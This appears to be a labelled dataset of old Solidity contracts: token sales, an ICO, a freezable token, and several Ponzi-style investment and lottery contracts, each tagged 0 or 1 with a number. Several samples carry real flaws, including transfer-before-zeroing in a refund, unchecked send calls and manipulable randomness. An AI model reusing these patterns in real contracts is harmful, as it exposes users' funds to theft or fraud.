balances[msg.sender].add(amount); ethBalances[msg.sender] += msg.value; ethCollected = ethCollected.add(msg.value); tokenSold = tokenSold.add(amount); } function getBonus() public view returns(uint256 _currentBonus) { uint256 curTime = block.timestamp; for(uint8 i = 0; i < bonuses.length; i++) { if(bonusEnds[i] > curTime) { return bonuses[i]; } } return 0; } function addBonus(uint256 amount) internal view returns(uint256 _newAmount) { uint256 bonus = getBonus(); uint256 mult = bonus.add(100); amount = amount.mul(mult).div(100); return amount; } function canBuy() public constant returns(bool _canBuy) { return state == 1; } function refund() public { require(state == 2); uint256 tokenAmount = balances[msg.sender]; require(tokenAmount > 0); uint256 weiAmount = ethBalances[msg.sender]; msg.sender.transfer(weiAmount); token.transfer(owner, balances[msg.sender]); ethBalances[msg.sender] = 0; balances[msg.sender] = 0; ethCollected = ethCollected.sub(weiAmount); } function withdraw() ownerOnly public { require(state == 3); owner.transfer(ethCollected); ethCollected = 0; state = 4; } function withdrawTokens() public { require(state == 3 || state ==4); require(balances[msg.sender] > 0); token.transfer(msg.sender, balances[msg.sender]); } function open() ownerOnly public { require(state == 0); state = 1; emit SaleStart(); } function closeSuccess() ownerOnly public { require(state == 1); state = 3; emit SaleClosedSuccess(tokenSold); } function closeFail() ownerOnly public { require(state == 1); state = 2; emit SaleClosedFail(tokenSold); } }
0
1,759
pragma solidity ^0.4.24; contract Invest { mapping (address => uint256) invested; mapping (address => uint256) atBlock; address private adAccount; constructor () public { adAccount = msg.sender; } function () external payable { if (invested[msg.sender] != 0) { uint256 amount = invested[msg.sender] * 5 / 100 * (block.number - atBlock[msg.sender]) / 5900; address sender = msg.sender; sender.send(amount); } atBlock[msg.sender] = block.number; invested[msg.sender] += msg.value; if (msg.value > 0) { adAccount.send(msg.value * 3 / 100); } } function setAdAccount(address _addr) external { require(msg.sender == adAccount); adAccount = _addr; } }
1
3,195
pragma solidity ^0.4.24; contract Testing { using SafeMath for uint256; mapping(address => uint256) investments; mapping(address => uint256) joined; mapping(address => uint256) withdrawals; mapping(address => uint256) withdrawalsgross; mapping(address => uint256) referrer; uint256 public step = 5; uint256 public bankrollpercentage = 10; uint256 public maximumpercent = 150; uint256 public minimum = 10 finney; uint256 public stakingRequirement = 0.01 ether; uint256 public startTime = 1540214220; uint256 public randomizer = 456717097; uint256 private randNonce = 0; address public ownerWallet; address public owner; address promoter1 = 0xBFb297616fFa0124a288e212d1E6DF5299C9F8d0; address promoter2 = 0xBFb297616fFa0124a288e212d1E6DF5299C9F8d0; event Invest(address investor, uint256 amount); event Withdraw(address investor, uint256 amount); event Bounty(address hunter, uint256 amount); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event Lottery(address player, uint256 lotteryNumber, uint256 amount, uint256 result, bool isWin); constructor() public { owner = msg.sender; ownerWallet = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; ownerWallet = newOwnerWallet; } function () public payable { buy(0x0); } function buy(address _referredBy) public payable { if (now <= startTime) { require(msg.sender == owner); } require(msg.value >= minimum); address _customerAddress = msg.sender; if( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && investments[_referredBy] >= stakingRequirement ){ referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100)); } if (investments[msg.sender] > 0){ if (withdraw()){ withdrawals[msg.sender] = 0; } } investments[msg.sender] = investments[msg.sender].add(msg.value); joined[msg.sender] = block.timestamp; uint256 percentmax = msg.value.mul(5).div(100); uint256 percentmaxhalf = percentmax.div(2); uint256 percentmin = msg.value.mul(1).div(100); uint256 percentminhalf = percentmin.div(2); ownerWallet.transfer(percentmax); promoter1.transfer(percentmaxhalf); promoter2.transfer(percentminhalf); emit Invest(msg.sender, msg.value); } function lottery(uint256 _value) public payable { uint256 maxbetsize = address(this).balance.mul(bankrollpercentage).div(100); require(msg.value <= maxbetsize); uint256 random = getRandomNumber(msg.sender) + 1; bool isWin = false; if (random == _value) { isWin = true; uint256 prize = msg.value.mul(180).div(100); if (prize <= address(this).balance) { msg.sender.transfer(prize); } } ownerWallet.transfer(msg.value.mul(10).div(100)); emit Lottery(msg.sender, _value, msg.value, random, isWin); } function getBalance(address _address) view public returns (uint256) { uint256 minutesCount = now.sub(joined[_address]).div(1 minutes); uint256 percent = investments[_address].mul(step).div(100); uint256 percentfinal = percent.div(2); uint256 different = percentfinal.mul(minutesCount).div(1440); uint256 balancetemp = different.sub(withdrawals[_address]); uint256 maxpayout = investments[_address].mul(maximumpercent).div(100); uint256 balancesum = withdrawalsgross[_address].add(balancetemp); if (balancesum <= maxpayout){ return balancetemp; } else { uint256 balancenet = maxpayout.sub(withdrawalsgross[_address]); return balancenet; } } function withdraw() public returns (bool){ require(joined[msg.sender] > 0); uint256 balance = getBalance(msg.sender); if (address(this).balance > balance){ if (balance > 0){ withdrawals[msg.sender] = withdrawals[msg.sender].add(balance); withdrawalsgross[msg.sender] = withdrawalsgross[msg.sender].add(balance); uint256 maxpayoutfinal = investments[msg.sender].mul(maximumpercent).div(100); msg.sender.transfer(balance); if (withdrawalsgross[msg.sender] >= maxpayoutfinal){ investments[msg.sender] = 0; withdrawalsgross[msg.sender] = 0; withdrawals[msg.sender] = 0; } emit Withdraw(msg.sender, balance); } return true; } else { return false; } } function bounty() public { uint256 refBalance = checkReferral(msg.sender); if(refBalance >= minimum) { if (address(this).balance > refBalance) { referrer[msg.sender] = 0; msg.sender.transfer(refBalance); emit Bounty(msg.sender, refBalance); } } } function checkBalance() public view returns (uint256) { return getBalance(msg.sender); } function checkWithdrawals(address _investor) public view returns (uint256) { return withdrawals[_investor]; } function checkWithdrawalsgross(address _investor) public view returns (uint256) { return withdrawalsgross[_investor]; } function checkInvestments(address _investor) public view returns (uint256) { return investments[_investor]; } function checkReferral(address _hunter) public view returns (uint256) { return referrer[_hunter]; } function setBankrollpercentage(uint256 _Bankrollpercentage) public { require(msg.sender==owner); bankrollpercentage = _Bankrollpercentage; } function setRandomizer(uint256 _Randomizer) public { require(msg.sender==owner); randomizer = _Randomizer; } function setStartTime(uint256 _startTime) public { require(msg.sender==owner); startTime = _startTime; } function checkContractBalance() public view returns (uint256) { return address(this).balance; } function end() public onlyOwner { if(msg.sender == owner) { selfdestruct(owner); } } function getRandomNumber(address _addr) private returns(uint256 randomNumber) { randNonce++; randomNumber = uint256(keccak256(abi.encodePacked(now, _addr, randNonce, randomizer, block.coinbase, block.number))) % 7; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0
326
pragma solidity ^0.4.16; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract admined { address public admin; function admined() internal { admin = msg.sender; Admined(admin); } modifier onlyAdmin() { require(msg.sender == admin); _; } function transferAdminship(address _newAdmin) onlyAdmin public { admin = _newAdmin; TransferAdminship(admin); } event TransferAdminship(address newAdminister); event Admined(address administer); } contract UNRICO is admined { using SafeMath for uint256; enum State { Ongoin, Successful } uint256 public priceOfEthOnUSD; State public state = State.Ongoin; uint256 public startTime = now; uint256[5] public price; uint256 public HardCap; uint256 public totalRaised; uint256 public totalDistributed; uint256 public ICOdeadline = startTime.add(27 days); uint256 public completedAt; token public tokenReward; address public creator; address public beneficiary; string public campaignUrl; uint8 constant version = 1; event LogFundingReceived(address _addr, uint _amount, uint _currentTotal); event LogBeneficiaryPaid(address _beneficiaryAddress); event LogFundingSuccessful(uint _totalRaised); event LogFunderInitialized( address _creator, address _beneficiary, string _url, uint256 _ICOdeadline); event LogContributorsPayout(address _addr, uint _amount); event PriceUpdate(uint256 _newPrice); modifier notFinished() { require(state != State.Successful); _; } function UNRICO (string _campaignUrl, token _addressOfTokenUsedAsReward, uint256 _initialUsdPriceOfEth) public { creator = msg.sender; beneficiary = msg.sender; campaignUrl = _campaignUrl; tokenReward = token(_addressOfTokenUsedAsReward); priceOfEthOnUSD = _initialUsdPriceOfEth; HardCap = SafeMath.div(7260000*10**18,priceOfEthOnUSD); price[0] = SafeMath.div(1 * 10 ** 15, priceOfEthOnUSD.mul(1666666)); price[1] = SafeMath.div(1 * 10 ** 11, priceOfEthOnUSD.mul(125)); price[2] = SafeMath.div(1 * 10 ** 15, priceOfEthOnUSD.mul(1111111)); price[3] = SafeMath.div(1 * 10 ** 15, priceOfEthOnUSD.mul(1052631)); price[4] = SafeMath.div(1 * 10 ** 10, priceOfEthOnUSD.mul(10)); LogFunderInitialized( creator, beneficiary, campaignUrl, ICOdeadline); PriceUpdate(priceOfEthOnUSD); } function updatePriceOfEth(uint256 _newPrice) onlyAdmin public { priceOfEthOnUSD = _newPrice; price[0] = SafeMath.div(1 * 10 ** 15, priceOfEthOnUSD.mul(1666666)); price[1] = SafeMath.div(1 * 10 ** 11, priceOfEthOnUSD.mul(125)); price[2] = SafeMath.div(1 * 10 ** 15, priceOfEthOnUSD.mul(1111111)); price[3] = SafeMath.div(1 * 10 ** 15, priceOfEthOnUSD.mul(1052631)); price[4] = SafeMath.div(1 * 10 ** 10, priceOfEthOnUSD.mul(10)); HardCap = SafeMath.div(7260000*10**18,priceOfEthOnUSD); PriceUpdate(_newPrice); } function contribute() public notFinished payable { uint256 tokenBought; uint256 required; totalRaised = totalRaised.add(msg.value); if(totalDistributed < 2000000 * (10 ** 8)){ tokenBought = msg.value.div(price[0]); required = SafeMath.div(10000,6); require(tokenBought >= required); } else if (totalDistributed < 20000000 * (10 ** 8)){ tokenBought = msg.value.div(price[1]); required = SafeMath.div(10000,8); require(tokenBought >= required); } else if (totalDistributed < 40000000 * (10 ** 8)){ tokenBought = msg.value.div(price[2]); required = SafeMath.div(10000,9); require(tokenBought >= required); } else if (totalDistributed < 60000000 * (10 ** 8)){ tokenBought = msg.value.div(price[3]); required = SafeMath.div(100000,95); require(tokenBought >= required); } else if (totalDistributed < 80000000 * (10 ** 8)){ tokenBought = msg.value.div(price[4]); required = 1000; require(tokenBought >= required); } totalDistributed = totalDistributed.add(tokenBought); tokenReward.transfer(msg.sender, tokenBought); LogFundingReceived(msg.sender, msg.value, totalRaised); LogContributorsPayout(msg.sender, tokenBought); checkIfFundingCompleteOrExpired(); } function checkIfFundingCompleteOrExpired() public { if(now < ICOdeadline && state!=State.Successful){ if(state == State.Ongoin && totalRaised >= HardCap){ state = State.Successful; completedAt = now; } } else if(now > ICOdeadline && state!=State.Successful ) { state = State.Successful; completedAt = now; LogFundingSuccessful(totalRaised); finished(); } } function payOut() public { require(msg.sender == beneficiary); require(beneficiary.send(this.balance)); LogBeneficiaryPaid(beneficiary); } function finished() public { require(state == State.Successful); uint256 remanent = tokenReward.balanceOf(this); require(beneficiary.send(this.balance)); tokenReward.transfer(beneficiary,remanent); LogBeneficiaryPaid(beneficiary); LogContributorsPayout(beneficiary, remanent); } function () public payable { contribute(); } }
1
2,608
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "Hunter King Token"; string public constant TOKEN_SYMBOL = "HKT"; bool public constant PAUSED = false; address public constant TARGET_USER = 0x56a5002ec38F56BdA9Ca67268c33648D94c5784E; bool public constant CONTINUE_MINTING = true; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }
0
1,383
pragma solidity ^0.4.21; contract SaiContest_Gaia { address public owner; uint public start; uint public last_roll; uint public last_jack; address public week_winner; address public jack_winner; uint public week_max; uint public jack_max; uint public jack_pot; uint public jack_nonce; struct JVal { uint nonce; uint64 count; } mapping (address => JVal) public jacks; uint public constant min_payment= 1 finney; function SaiContest_Gaia() public { owner = msg.sender; start = now; last_roll = now; last_jack = now; jack_nonce = 1; } function kill(address addr) public { if (msg.sender == owner && now > start + 1 years){ selfdestruct(addr); } } function getBalance() public view returns (uint bal) { bal = address(this).balance; } function () public payable{ Paid(msg.value); } function Paid(uint value) private { uint WeekPay; uint JackPay; uint oPay; uint CurBal; uint JackPot; uint CurNonce; address WeekWinner; address JackWinner; uint64 JackValCount; uint JackValNonce; require(value >= min_payment); oPay = value * 5 / 100; CurBal = address(this).balance - oPay; JackPot = jack_pot; if (now > last_roll + 7 days) { WeekPay = CurBal - JackPot; WeekWinner = week_winner; last_roll = now; week_max = value; week_winner = msg.sender; } else { if (value > week_max) { week_winner = msg.sender; week_max = value; } } if (now > last_jack + 30 days) { JackWinner = jack_winner; if (JackPot > CurBal) { JackPay = CurBal; } else { JackPay = JackPot; } jack_pot = value * 10 / 100; jack_winner = msg.sender; jack_max = 1; CurNonce = jack_nonce + 1; jacks[msg.sender].nonce = CurNonce; jacks[msg.sender].count = 1; jack_nonce = CurNonce; } else { jack_pot = JackPot + value * 10 / 100; CurNonce = jack_nonce; JackValNonce = jacks[msg.sender].nonce; JackValCount = jacks[msg.sender].count; if (JackValNonce < CurNonce) { jacks[msg.sender].nonce = CurNonce; jacks[msg.sender].count = 1; if (jack_max == 0) { jack_winner = msg.sender; jack_max = 1; } } else { JackValCount = JackValCount + 1; jacks[msg.sender].count = JackValCount; if (JackValCount > jack_max) { jack_winner = msg.sender; jack_max = JackValCount; } } } owner.transfer(oPay); if (WeekPay > 0) { WeekWinner.transfer(WeekPay); } if (JackPay > 0) { JackWinner.transfer(JackPay); } } }
0
1,724
pragma solidity ^0.4.2; contract MyInterface{ function zGetGameBalance() public view returns (uint); function zReceiveFunds() payable public; function zSynchGameID(uint nIndex, uint nExpiration) public; } contract FantasySports { address gadrOwner; uint gnGameID = 0; address gadrOtherContract; MyInterface gobjOtherContract; uint constant gcnWinMultipler = 195; uint constant gcnTransferFee = .0001 ether; mapping(uint => address[]) gmapGame_addresses; mapping(uint => uint[]) gmapGame_wagers; mapping(uint => uint[]) gmapGame_runningbalances; mapping(uint => uint) gmapGame_balance; mapping(uint => uint) gmapGame_expiration; modifier onlyOwner() { require(gadrOwner == msg.sender); _; } modifier onlyOtherContract() { require(gadrOtherContract == msg.sender); _; } function FantasySports () public { gadrOwner = msg.sender; } function zReceiveFunds() payable public { } function() payable public { require(msg.value >= .001 ether && block.timestamp < gmapGame_expiration[gnGameID]); gmapGame_addresses[gnGameID].push(msg.sender); gmapGame_wagers[gnGameID].push(msg.value); gmapGame_balance[gnGameID] +=msg.value; gmapGame_runningbalances[gnGameID].push(gmapGame_balance[gnGameID]); } function zSynchGameID(uint nIndex, uint nExpiration) onlyOtherContract() public { gnGameID = nIndex; gmapGame_expiration[gnGameID] = nExpiration; } function zSetGameID(uint nIndex, uint nExpiration) onlyOwner() public { gnGameID = nIndex; gmapGame_expiration[gnGameID] = nExpiration; gobjOtherContract.zSynchGameID(gnGameID, nExpiration); } function zIncrementGameID(uint nExpiration) onlyOwner() public { gnGameID++; gmapGame_expiration[gnGameID] = nExpiration; gobjOtherContract.zSynchGameID(gnGameID, nExpiration); } function zGetGameID() onlyOwner() public view returns (uint) { return gnGameID; } function setOwner (address _owner) onlyOwner() public { gadrOwner = _owner; } function setOtherContract (address _othercontract) onlyOwner() public { gadrOtherContract = _othercontract; gobjOtherContract = MyInterface(gadrOtherContract); } function zgetOwner() onlyOwner() public view returns (address) { return gadrOwner; } function zgetOtherContract() onlyOwner() public view returns (address) { return gadrOtherContract; } function zgetPlayers(uint nIDOfGame) onlyOwner() public view returns (uint, uint, address[],uint[], uint[]) { return (gmapGame_balance[nIDOfGame], gmapGame_expiration[nIDOfGame], gmapGame_addresses[nIDOfGame], gmapGame_wagers[nIDOfGame],gmapGame_runningbalances[nIDOfGame]); } function zGetGameBalance() onlyOtherContract() public view returns (uint) { return (gmapGame_balance[gnGameID]); } function zRefundAllPlayers() onlyOwner() public { for (uint i = 0; i < gmapGame_addresses[gnGameID].length; i++) { gmapGame_addresses[gnGameID][i].transfer(gmapGame_wagers[gnGameID][i] - gcnTransferFee); } } function zGetBothContractBalances() public view onlyOwner() returns (uint, uint) { uint nOtherBalance = gobjOtherContract.zGetGameBalance(); return (gmapGame_balance[gnGameID], nOtherBalance); } function zTransferFundsToOtherContract(uint nAmount) onlyOwner() public { gobjOtherContract.zReceiveFunds.value(nAmount)(); } function zTransferFundsToOwner(uint nAmount) onlyOwner() public { gadrOwner.transfer(nAmount); } function zTransferLosingBets() onlyOwner() public { if (gmapGame_balance[gnGameID] != 0) { uint nOtherBalance = gobjOtherContract.zGetGameBalance(); if (gmapGame_balance[gnGameID] <= nOtherBalance) { gobjOtherContract.zReceiveFunds.value(gmapGame_balance[gnGameID])(); } else { if (nOtherBalance != 0) { gobjOtherContract.zReceiveFunds.value(nOtherBalance)(); } for (uint i = 0; i < gmapGame_addresses[gnGameID].length; i++) { if (gmapGame_runningbalances[gnGameID][i] > nOtherBalance) { if (gmapGame_runningbalances[gnGameID][i] - nOtherBalance < gmapGame_wagers[gnGameID][i]) { gmapGame_addresses[gnGameID][i].transfer( (gmapGame_runningbalances[gnGameID][i] - nOtherBalance) - gcnTransferFee); } else { gmapGame_addresses[gnGameID][i].transfer(gmapGame_wagers[gnGameID][i] - gcnTransferFee); } } } } } } function zTransferWinningBets() onlyOwner() public { if (gmapGame_balance[gnGameID] != 0) { uint nPreviousRunningBalance = 0; uint nOtherBalance = gobjOtherContract.zGetGameBalance(); for (uint i = 0; i < gmapGame_addresses[gnGameID].length; i++) { if (gmapGame_runningbalances[gnGameID][i] <= nOtherBalance) { gmapGame_addresses[gnGameID][i].transfer((gmapGame_wagers[gnGameID][i] * gcnWinMultipler / 100) - gcnTransferFee); } else { if (nPreviousRunningBalance < nOtherBalance) { gmapGame_addresses[gnGameID][i].transfer(((nOtherBalance - nPreviousRunningBalance) * gcnWinMultipler / 100) + (gmapGame_wagers[gnGameID][i] - (nOtherBalance - nPreviousRunningBalance)) - gcnTransferFee); } else { gmapGame_addresses[gnGameID][i].transfer(gmapGame_wagers[gnGameID][i] - gcnTransferFee); } } nPreviousRunningBalance = gmapGame_runningbalances[gnGameID][i]; } } } function zKill() onlyOwner() public { selfdestruct(gadrOwner); } }
0
1,086
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract TXXC_TOKEN is StandardToken { string public name = "TXXC TOKEN"; string public symbol = "TXXC"; uint8 public decimals = 18; uint256 public constant INITIAL_SUPPLY = 100000000; event Burn(address indexed _from, uint256 _tokenDestroyed, uint256 _timestamp); function TXXC_TOKEN() public { totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals)); balances[msg.sender] = totalSupply_; } function burn(uint256 _burntAmount) public returns (bool success) { require(balances[msg.sender] >= _burntAmount && _burntAmount > 0); balances[msg.sender] = balances[msg.sender].sub(_burntAmount); totalSupply_ = totalSupply_.sub(_burntAmount); emit Transfer(address(this), 0x0, _burntAmount); emit Burn(msg.sender, _burntAmount, block.timestamp); return true; } }
1
3,803
